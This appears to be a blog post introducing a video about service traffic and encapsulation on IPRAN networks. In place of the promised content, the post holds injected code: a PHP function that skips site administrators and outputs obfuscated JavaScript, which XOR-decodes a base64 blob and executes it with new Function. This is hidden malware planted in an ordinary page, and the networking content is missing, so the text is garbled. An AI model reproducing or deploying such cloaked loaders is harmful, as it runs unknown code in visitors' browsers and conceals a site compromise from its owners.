Hi my friends ,
Today I found a very good Video that explain how the services are working on IPRAN
this will help you soo much to understand how the traffic is moving inside the network and how its encapsulated
Here you will see how the encapsulation if the access node is Ethernet :
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();